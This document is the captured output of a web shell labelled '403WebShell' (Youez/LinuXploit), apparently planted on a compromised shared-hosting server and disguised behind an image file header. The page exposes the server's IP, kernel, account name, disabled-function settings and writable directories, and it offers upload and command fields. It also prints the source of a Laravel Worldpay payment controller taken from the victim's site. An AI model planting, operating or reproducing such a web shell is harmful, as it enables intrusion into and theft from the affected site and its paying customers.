����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.118.253.134
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/WorldpayController.php
<?php

namespace App\Http\Controllers;

use App\FailedTranscations;
use App\Http\Controllers\OrderStoreController;
use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Log;
use Jackiedo\DotenvEditor\Facades\DotenvEditor;
use Worldpay\Worldpay;
use Illuminate\Support\Str;
use Auth;
use Worldpay\WorldpayException;

class WorldpayController extends Controller
{
    

    /** This function holds the payment proccess and create order after successful payment */

    public function payment(Request $request){


        // $address = Address::find(session()->get('address'));
        
        $worldpay = new Worldpay(config('worldpay.WORLDPAY_SECRET_KEY'));
        $billing_address = array(
            "address1"=> clean(auth::user()->address),
            "address2"=> '',
            "address3"=> '',
            "postalCode"=> auth::user()->pin_code,
            "city"=> auth::user()->city,
            "state"=> auth::user()->state,
            "countryCode"=>auth::user()->Country->iso ?? '',
        );

            $currencyData = session()->get('currency');

                if ($currencyData !== null) {
                    $currencyId = $currencyData['default'];
                } else {
                    $currencyId = 'USD'; // Example default currency ID
                }
        try {
            $response = $worldpay->createOrder(array(
                'token' => $request->_token,
                'amount' => $request->amount * 100,
                'currencyCode' => $currencyId,
                'name' => auth()->user()->name,
                'billingAddress' => $billing_address ?? '',
                'orderDescription' => 'Payment for order '.uniqid(),
                'customerOrderCode' => uniqid()
            ));

            if ($response['paymentStatus'] === 'SUCCESS') {
                // Create order if payment is successful

                $txn_id = $response['orderCode'];

                $payment_method = 'Worldpay';

                $checkout = new OrderStoreController;

                return $checkout->orderstore($txn_id, $payment_method);

            } else {

                // Logging the error if payment status comes different.

                \Session::flash('delete', trans('flash.PaymentFailed'));
                return redirect('/');
            }

        } catch (WorldpayException $e) {
            // Logging the exception if payment failed from worldpay status comes different.
            \Session::flash('delete', trans('flash.PaymentFailed'));
            return redirect('/');

        } catch (\Exception $e) {

            // Logging the exception if payment failed from logic side status comes different.

            \Session::flash('delete', trans('flash.PaymentFailed'));
            return redirect('/');
        }
            

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit